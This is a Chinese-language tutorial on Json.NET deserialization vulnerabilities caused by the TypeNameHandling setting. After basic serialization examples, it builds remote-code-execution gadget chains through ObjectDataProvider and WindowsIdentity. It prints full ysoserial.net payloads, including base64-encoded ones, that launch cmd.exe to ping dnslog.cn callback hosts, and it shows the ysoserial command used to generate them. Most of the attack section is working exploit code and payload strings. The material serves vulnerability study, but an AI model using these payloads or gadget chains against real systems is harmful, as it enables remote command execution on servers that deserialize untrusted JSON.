在Newtonsoft.Json中使用JSONSerializer可以非常方便的实现.NET对象与Json之间的转化，JSONSerializer把.NET对象的属性名转化为Json数据中的Key，把对象的属性值转化为Json数据中的Value
我们还是先来了解json和net对象之间的转换Newtonsoft.Json如果未安装
https://github.com/JamesNK/Newtonsoft.Json/releases
MyJson jsontest= new MyJson{ Ivale="test",Svale="testone"};
string jsonteststring=JsonConvert.SerializeObject(jsontest);
Response.Write(jsonteststring);
但是为了序列化过程中经量不报错应用SerializeObject方法的第二个参数并实例化创建JsonSerializerSettings
MyJson jsontest= new MyJson{ Ivale="test",Svale="testone"};
string jsonteststring=JsonConvert.SerializeObject(jsontest,new JsonSerializerSettings{
NullValueHandling =NullValueHandling.Ignore,
TypeNameAssemblyFormatHandling =TypeNameAssemblyFormatHandling.Full,
TypeNameHandling= TypeNameHandling.All,
});
Response.Write(jsonteststring);
接下来我们看看反序列化
MyJson jsontest= new MyJson{ Ivale="test",Svale="testone"};
string jsonteststring=JsonConvert.SerializeObject(jsontest,new JsonSerializerSettings{
NullValueHandling =NullValueHandling.Ignore,
TypeNameAssemblyFormatHandling =TypeNameAssemblyFormatHandling.Full,
TypeNameHandling= TypeNameHandling.All,
});
Object jsonDesrializeObject = JsonConvert.DeserializeObject<MyJson>(jsonteststring,new JsonSerializerSettings
{
TypeNameHandling =TypeNameHandling.None,
});
Type jsonDes =jsonDesrializeObject.GetType();
PropertyInfo jsonPro=jsonDes.GetProperty("Ivale");
Object jsonDesrializeObject2=jsonPro.GetValue(jsonDesrializeObject,null);
Response.Write(jsonDesrializeObject2);
了解攻击向量ObjectDataProvider
漏洞的触发点也是在于TypeNameHandling这个枚举值，如果开发者设置为非空值、也就是对象（Objects） 、数组（Arrays） 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞，为此官方文档里也标注了警告，当您的应用程序从外部源反序列化JSON时应谨慎使用TypeNameHandling。
这里我们继续调用上次Mytestxml里面的危险类
public static void Clac(string exec)
{
string item = exec;
Process p = new Process();
p.StartInfo.FileName = "c:\windows\system32\cmd.exe"; //防止未加入环境变量用绝对路径
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
p.Start();
p.StandardInput.WriteLine(item);//传入命令参数
p.StandardInput.WriteLine("exit");
strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
p.Dispose();
}
得到危险字符串
MyJson r= new MyJson { Ivale="",Svale=""};
ObjectDataProvider calc =new ObjectDataProvider();
calc.MethodName="Clac";
calc.MethodParameters.Add("calc.exe");
calc.ObjectInstance=r;
string obj = JsonConvert.SerializeObject(calc,new JsonSerializerSettings
{
TypeNameHandling =TypeNameHandling.All,
TypeNameAssemblyFormatHandling=TypeNameAssemblyFormatHandling.Full,
});
Response.Write(obj);
然后反序列化触发exp
string obj="{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ObjectInstance":{"$type":"MyJson.MyJson, App_Code.zagg0mgh, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null","Ivale":"","Svale":""},"MethodName":"Clac","MethodParameters":{"$type":"MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","$values":["cmd.exe /c ping -n 1 0kar3s.dnslog.cn"]},"IsAsynchronous":false,"IsInitialLoadEnabled":true,"Data":null,"Error":null}";
Object des =JsonConvert.DeserializeObject<Object>(obj,new JsonSerializerSettings
{
TypeNameHandling =TypeNameHandling.Auto
});;
攻击向量 Windowsldentity
WindowsIdentity类位于System.Security.Principal命名空间下。顾名思义，用于表示基于Windows认证的身份，认证是安全体系的第一道屏障肩负着守护着整个应用或者服务的第一道大门，此类定义了Windows身份一系列属性
查看接口定义可知
另一方面GetObjectData又调用SerializationInfo 类提供的AddValue多个重载方法来指定序列化的信息，AddValue添加的是一组<key,value> ；GetObjectData负责添加好所有必要的序列化信息
看看继承的CLAIMS类
用lvan1ee师傅的话说就是
其实就是一个个包含了claims构成的单元体，举个栗子：驾照中的“身份证号码：000000”是一个claim、持证人的“姓名: Ivan1ee”是另一个claim、这一组键值对构成了一个Identity，具有这些claims的Identity就是ClaimsIdentity，通常用在登录Cookie验证，如下代码
查阅文档可知actor ，boot，lable三个我们能赋值
但是再赋值的时候都进行了base64加密
不过在进行Deserialize方法进行重载的时候进行了base64解码 所以无影响也更方便了我们payload的传递
知道赋值后 构造我们的poc 这里我们用ysoserial生成
ew0KICAgICAgICAgICAgICAgICAgICAnJHR5cGUnOiAnU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OScsDQogICAgICAgICAgICAgICAgICAgICdTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zSWRlbnRpdHkuYWN0b3InOiAnQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFGNU5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSXNJRlpsY25OcGIyNDlNeTR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmowek1XSm1NemcxTm1Ga016WTBaVE0xQlFFQUFBQkNUV2xqY205emIyWjBMbFpwYzNWaGJGTjBkV1JwYnk1VVpYaDBMa1p2Y20xaGRIUnBibWN1VkdWNGRFWnZjbTFoZEhScGJtZFNkVzVRY205d1pYSjBhV1Z6QVFBQUFBOUdiM0psWjNKdmRXNWtRbkoxYzJnQkFnQUFBQVlEQUFBQXRnVThQM2h0YkNCMlpYSnphVzl1UFNJeExqQWlJR1Z1WTI5a2FXNW5QU0oxZEdZdE9DSS9QZzBLUEU5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2lCTlpYUm9iMlJPWVcxbFBTSlRkR0Z5ZENJZ1NYTkpibWwwYVdGc1RHOWhaRVZ1WVdKc1pXUTlJa1poYkhObElpQjRiV3h1Y3owaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3dmNISmxjMlZ1ZEdGMGFXOXVJaUI0Yld4dWN6cHpaRDBpWTJ4eUxXNWhiV1Z6Y0dGalpUcFRlWE4wWlcwdVJHbGhaMjV2YzNScFkzTTdZWE56WlcxaWJIazlVM2x6ZEdWdElpQjRiV3h1Y3pwNFBTSm9kSFJ3T2k4dmMyTm9aVzFoY3k1dGFXTnliM052Wm5RdVkyOXRMM2RwYm1aNEx6SXdNRFl2ZUdGdGJDSStEUW9nSUR4UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvZ0lDQWdQSE5rT2xCeWIyTmxjM00rRFFvZ0lDQWdJQ0E4YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnSUNBZ0lEeHpaRHBRY205alpYTnpVM1JoY25SSmJtWnZJRUZ5WjNWdFpXNTBjejBpTDJNZ1kyRnNZeTVsZUdVaUlGTjBZVzVrWVhKa1JYSnliM0pGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZOMFlXNWtZWEprVDNWMGNIVjBSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJWYzJWeVRtRnRaVDBpSWlCUVlYTnpkMjl5WkQwaWUzZzZUblZzYkgwaUlFUnZiV0ZwYmowaUlpQk1iMkZrVlhObGNsQnliMlpwYkdVOUlrWmhiSE5sSWlCR2FXeGxUbUZ0WlQwaVkyMWtJaUF2UGcwS0lDQWdJQ0FnUEM5elpEcFFjbTlqWlhOekxsTjBZWEowU1c1bWJ6NE5DaUFnSUNBOEwzTmtPbEJ5YjJObGMzTStEUW9nSUR3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrOWlhbVZqZEVsdWMzUmhibU5sUGcwS1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSStDdz09Jw0KICAgICAgICAgICAgICAgIH0=
[Serializable]
public class WindowsIdetityTest : ISerializable
{
public WindowsIdetityTest(string payload)
{
Payload=payload;
}
public string Payload { get; set; }
public void GetObjectData(SerializationInfo info,StreamingContext context)
{
info.SetType(typeof(WindowsIdentity));
info.AddValue("System.Security.ClaimsIdentity.bootstrapContext",Payload);
}
}
protected void Page_Load(object sender, EventArgs e)
{
string sPayload="ew0KICAgICAgICAgICAgICAgICAgICAnJHR5cGUnOiAnU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OScsDQogICAgICAgICAgICAgICAgICAgICdTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zSWRlbnRpdHkuYWN0b3InOiAnQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFGNU5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSXNJRlpsY25OcGIyNDlNeTR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmowek1XSm1NemcxTm1Ga016WTBaVE0xQlFFQUFBQkNUV2xqY205emIyWjBMbFpwYzNWaGJGTjBkV1JwYnk1VVpYaDBMa1p2Y20xaGRIUnBibWN1VkdWNGRFWnZjbTFoZEhScGJtZFNkVzVRY205d1pYSjBhV1Z6QVFBQUFBOUdiM0psWjNKdmRXNWtRbkoxYzJnQkFnQUFBQVlEQUFBQXd3VThQM2h0YkNCMlpYSnphVzl1UFNJeExqQWlJR1Z1WTI5a2FXNW5QU0oxZEdZdE9DSS9QZzBLUEU5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2lCTlpYUm9iMlJPWVcxbFBTSlRkR0Z5ZENJZ1NYTkpibWwwYVdGc1RHOWhaRVZ1WVdKc1pXUTlJa1poYkhObElpQjRiV3h1Y3owaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3dmNISmxjMlZ1ZEdGMGFXOXVJaUI0Yld4dWN6cHpaRDBpWTJ4eUxXNWhiV1Z6Y0dGalpUcFRlWE4wWlcwdVJHbGhaMjV2YzNScFkzTTdZWE56WlcxaWJIazlVM2x6ZEdWdElpQjRiV3h1Y3pwNFBTSm9kSFJ3T2k4dmMyTm9aVzFoY3k1dGFXTnliM052Wm5RdVkyOXRMM2RwYm1aNEx6SXdNRFl2ZUdGdGJDSStEUW9nSUR4UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvZ0lDQWdQSE5rT2xCeWIyTmxjM00rRFFvZ0lDQWdJQ0E4YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnSUNBZ0lEeHpaRHBRY205alpYTnpVM1JoY25SSmJtWnZJRUZ5WjNWdFpXNTBjejBpTDJNZ2NHbHVaeUJxYjNkaWRYRXVaRzV6Ykc5bkxtTnVJaUJUZEdGdVpHRnlaRVZ5Y205eVJXNWpiMlJwYm1jOUludDRPazUxYkd4OUlpQlRkR0Z1WkdGeVpFOTFkSEIxZEVWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1ZYTmxjazVoYldVOUlpSWdVR0Z6YzNkdmNtUTlJbnQ0T2s1MWJHeDlJaUJFYjIxaGFXNDlJaUlnVEc5aFpGVnpaWEpRY205bWFXeGxQU0pHWVd4elpTSWdSbWxzWlU1aGJXVTlJbU50WkNJZ0x6NE5DaUFnSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdQQzl6WkRwUWNtOWpaWE56UGcwS0lDQThMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVQWW1wbFkzUkpibk4wWVc1alpUNE5Dand2VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5UGdzPScNCiAgICAgICAgICAgICAgICB9";
var obj=new WindowsIdetityTest(sPayload);
string obj1 = JsonConvert.SerializeObject(obj,new JsonSerializerSettings{
TypeNameHandling=TypeNameHandling.All,
TypeNameAssemblyFormatHandling=TypeNameAssemblyFormatHandling.Full,});
Response.Write(obj1);
}
交给Des触发
或则调用actor也是用ysoserial直接生成
λ ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -c "ping wnl1b1.dnslog.cn"
{
'$type': 'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'System.Security.ClaimsIdentity.actor': 'AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAwwU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgcGluZyB3bmwxYjEuZG5zbG9nLmNuIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs='
}
参考
https://go.ctolib.com/pwntester-ysoserial-net.html https://www.freebuf.com/articles/web/197713.html